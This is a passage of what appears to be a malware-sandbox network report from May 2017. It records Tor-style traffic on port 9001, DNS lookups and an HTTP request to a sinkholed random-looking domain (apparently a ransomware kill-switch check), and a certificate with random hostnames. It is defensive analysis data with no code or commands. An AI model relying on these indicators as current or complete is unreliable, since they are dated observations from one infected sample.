May 12, 2017 18:55:32.106499910 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.106513023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.106571913 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.106587887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108685970 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108700037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108752966 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.108764887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108783007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108793020 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108807087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.108836889 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.113401890 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.113415003 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.113485098 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.113500118 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115741014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115772963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115797043 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115808010 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115910053 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115921974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.115931034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116017103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116384029 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.116415024 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116422892 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116450071 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116460085 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116471052 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116549015 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116569996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.116635084 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.116653919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.117902994 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.117952108 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.118012905 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.118029118 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.118170977 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.118199110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.118257046 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.118273020 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.148878098 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.148916006 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.149029970 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.149069071 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.181623936 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.181660891 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.182742119 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.182760000 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.183706045 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.183732986 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.191498041 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.229846954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.230012894 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.230030060 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.232661963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.232690096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.232702017 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.232858896 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.232877016 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.236982107 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.237001896 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.237010956 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.237093925 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.237113953 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.238353014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.238369942 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.238379955 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.238392115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.238476992 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.238492012 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.239670038 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.239695072 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.239703894 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.239801884 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.239821911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.242374897 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.242389917 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.242480993 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.242494106 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.242506027 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.242516041 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.242543936 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.243746042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.243763924 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.243822098 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.243841887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.244927883 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.244942904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.245044947 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.245064020 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.253758907 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.253791094 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.253808975 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.253983021 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.254005909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.254607916 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.254635096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.254642010 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.254647017 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.255037069 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.255059004 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.255076885 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.255090952 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.255256891 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.255278111 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.256661892 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.256675005 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.256772995 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.256797075 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.260359049 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.260373116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.260385990 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.260529995 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.260550022 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.267451048 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.267467976 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.267579079 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.267602921 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.272125959 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.272248983 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.272269964 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.272938013 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.272964954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273016930 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.273040056 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273081064 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273092985 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273129940 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.273139000 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273149014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273154974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273164988 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.273190975 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.273389101 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.274168968 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.274180889 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.274188042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.274322033 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.274780989 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.275248051 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.275258064 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.275366068 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.275381088 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.276026011 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.276036024 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.276082039 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.276098967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.281147957 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.281160116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.281232119 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.281249046 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.360289097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.360315084 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.360356092 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.360374928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.584441900 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.584563971 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.085835934 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.093858957 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.093883038 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.094348907 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.132462025 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.132625103 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.132646084 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.176326036 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.176354885 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.176687002 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.176701069 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.176906109 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.176918983 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.196837902 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.196868896 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.197190046 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.197204113 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.197444916 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.197458029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.197793007 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.197805882 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.252823114 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.252852917 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.253237963 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.253252029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.253762960 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.253787041 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.253993034 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.254005909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.254430056 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.254443884 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.255429029 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.255444050 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.255637884 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.292448044 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.292566061 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:34.332453012 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:34.544411898 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:55:34.821093082 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:55:35.093167067 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:35.093194962 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:35.421363115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:35.429775953 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:35.429804087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:35.759613037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:35.765469074 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:35.765496969 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:35.945995092 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:35.950969934 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:35.950994015 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.086297989 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:36.086321115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.113135099 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.320723057 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:36.349695921 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.354161978 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:36.392457008 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.568617105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.575062037 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:36.575086117 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.764846087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.769810915 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:36.769836903 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.886374950 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:55:36.937793016 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:36.944946051 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:36.944973946 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:37.080099106 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:37.080120087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:37.086838007 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:55:37.563237906 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:37.773891926 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:37.773914099 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:37.780647039 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:37.780689001 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:37.850553036 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.005860090 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.005886078 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.005986929 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.015074015 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.039294958 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.039345026 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.083997965 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.084033012 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.435830116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.442476034 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.442506075 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.601113081 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.610366106 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.610455990 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.618362904 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.618382931 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.618519068 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:38.618535995 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.777766943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:38.993335009 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.065876961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.071255922 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.071285009 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.080955029 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.080985069 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.217344999 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.226099014 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.226149082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.375935078 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.381808996 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.381839991 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.508733034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.519222021 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.519265890 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.651227951 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.659874916 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.659919024 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.819580078 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:39.826221943 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:39.826268911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.108999014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.320941925 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:40.320967913 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.334670067 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:40.334719896 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.395478964 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.398683071 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:40.398725986 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.674928904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:40.883812904 CEST	49198	9001	192.168.1.16	79.137.85.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2017 18:53:26.864295959 CEST	53278	53	192.168.1.16	8.8.8.8
May 12, 2017 18:53:27.081289053 CEST	53	53278	8.8.8.8	192.168.1.16
May 12, 2017 18:53:48.703721046 CEST	64052	53	192.168.1.16	8.8.8.8
May 12, 2017 18:53:48.863464117 CEST	53	64052	8.8.8.8	192.168.1.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2017 18:53:26.864295959 CEST	192.168.1.16	8.8.8.8	0x288d	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	A (IP address)	IN (0x0001)
May 12, 2017 18:53:48.703721046 CEST	192.168.1.16	8.8.8.8	0xaf4a	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	CName	Address	Type	Class
May 12, 2017 18:53:27.081289053 CEST	8.8.8.8	192.168.1.16	0x288d	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com		144.217.74.156	A (IP address)	IN (0x0001)
May 12, 2017 18:53:48.863464117 CEST	8.8.8.8	192.168.1.16	0xaf4a	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com		144.217.74.156	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

HTTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Header	Total Bytes Transfered (KB)
May 12, 2017 18:53:48.880690098 CEST	49191	80	192.168.1.16	144.217.74.156	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache	0
May 12, 2017 18:53:49.145505905 CEST	80	49191	144.217.74.156	192.168.1.16	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 May 2017 16:53:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: sinkhole Data Raw: 35 31 0d 0a 73 69 6e 6b 68 6f 6c 65 2e 74 65 63 68 20 2d 20 77 68 65 72 65 20 74 68 65 20 62 6f 74 73 20 70 61 72 74 79 20 68 61 72 64 20 61 6e 64 20 74 68 65 20 72 65 73 65 61 72 63 68 65 72 73 20 68 61 72 64 65 72 2e 0a 3c 21 2d 2d 20 68 32 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 51sinkhole.tech - where the bots party hard and the researchers harder.... h2 -->0	1

HTTPS Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Subject	Issuer	Not Before	Not After	Raw
May 12, 2017 18:54:27.140882969 CEST	443	49196	131.188.40.189	192.168.1.16	CN=www.wo5k4yq6pd.net	CN=www.esxd5zx3.com	Sat May 13 02:00:00 CEST 2017	Tue Feb 27 00:59:59 CET 2018	[[ Version: V3 Subject: CN=www.wo5k4yq6pd.net Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 1024 bits modulus: 130348955944332278495135463476179956613923621181123546006454347222926688234673986325587786672443009925528186508088241506679842932983037680302150201134065144372323161965175298889391953734368072966978070622211311841661462206816295897061840542869672220784072273330727986161497303437365554754221662419527180315713 public exponent: 65537 Validity: [From: Sat May 13 02:00:00 CEST 2017, To: Tue Feb 27 00:59:59 CET 2018] Issuer: CN=www.esxd5zx3.com SerialNumber: [ 1d4880aa 8ebd1a97]] Algorithm: [SHA1withRSA] Signature:0000: 39 62 63 49 E5 24 90 99 72 BC D2 BC EA DF FE 13 9bcI.$..r.......0010: D5 EF E9 F7 92 1C A2 1A 84 A1 73 FD 08 4B 2B B5 ..........s..K+.0020: 33 79 AF FF B7 1C 9A F3 EB 9A 8E A8 6F BA 5A 33 3y..........o.Z30030: 02 98 EF 89 69 3C 60 02 82 D3 61 4A AA 73 4D 9D ....i<`...aJ.sM.0040: CA 17 C7 9E 15 BD 58 FB 4B DD D4 D9 8C 6F C4 EA ......X.K....o..0050: 62 5E 96 42 ED 78 04 E5 BD DE D1 B4 F6 18 71 5B b^.B.x........q[0060: 52 BC 48 EA 82 FA 8F 98 FA 7A 60 9D 5B 48 E1 D6 R.H......z`.[H..0070: 22 A0 A1 C6 EA 08 07 E0 E7 35 C9 A2 D5 6E 97 87 "........5...n..]
